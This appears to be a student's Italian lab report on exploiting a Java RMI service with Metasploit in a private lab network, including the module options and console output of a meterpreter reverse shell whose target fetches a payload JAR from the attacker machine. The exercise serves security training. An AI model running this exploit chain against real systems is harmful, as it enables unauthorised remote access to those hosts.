## Relazione

Per prima cosa ho configurato gli indirizzi IP delle due macchine come richiesto dall'esercizio con il comando **sudo ifconfig eth0 192.168.11.111/112 subnetmask 255.255.255.0** e verificato che fossero stati modificati correttamente con **ifconfig**.

```
Edit View Help
  -(kali⊛kali)-[~]
 <u>$ sudo</u> ifconfig eth0 192.168.11.111 netmask 255.255.255.0 up
[sudo] password for kali:
 —(kali⊛kali)-[~]
_______ ifconfig
eth0: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
       inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.
11.255
       inet6 fe80::e716:112:deed:4b23 prefixlen 64 scopeid 0x20<lin</pre>
       ether 08:00:27:f6:dd:8f txqueuelen 1000 (Ethernet)
       RX packets 6 bytes 884 (884.0 B)
       RX errors 0 dropped 0 overruns 0
                                          frame 0
       TX packets 25 bytes 3214 (3.1 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
       inet 127.0.0.1 netmask 255.0.0.0
       inet6 ::1 prefixlen 128 scopeid 0×10<host>
       loop txqueuelen 1000 (Local Loopback)
       RX packets 8 bytes 480 (480.0 B)
       RX errors 0 dropped 0 overruns 0
                                          frame 0
       TX packets 8 bytes 480 (480.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
 —(kali⊛ kali)-[~]
-$ |
```

## Ho attivato msfconsole

Ho cercato la vulnerabilità con **search** e le parole chiave **java rmi**, impostato le opzioni con **set rhost 192.168.11.112**, **set lhost 192.168.11.111**, **set rport 1099** ed ho avviato il tentativo con **exploit**. Il primo tentativo non ha avuto successo ed ho riscontrato l'errore anticipato nell'esercizio relativo ad **httpdelay**.

Ho quindi impostato il valore a 20 con il comando **set httpdelay 20** come specificato dall'esercizio.

Sono riuscita a sfruttare la vulnerabilità ed accedere alla sessione meterpreter

```
File Actions Edit View Help

LHOST 192.168.11.111 yes The listen address (an interface e may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444

[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/yE2vMi afbAnls

[*] 192.168.11.112:1099 - Server started.

[*] 192.168.11.112:1099 - Sending RMI Header...

[*] 192.168.11.112:1099 - Sending RMI Call...

[*] 192.168.11.112:1099 - Replied to request for payload JAR

[*] Sending stage (57971 bytes) to 192.168.11.112

[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.11

2:52846) at 2024-12-20 11:42:44 +0100

meterpreter >
```

Ho fatto le ricerche richieste dall'esercizio relative alle configurazioni di rete e la tabella di routing della macchina vittima con i comandi **ifconfig** e **route**.

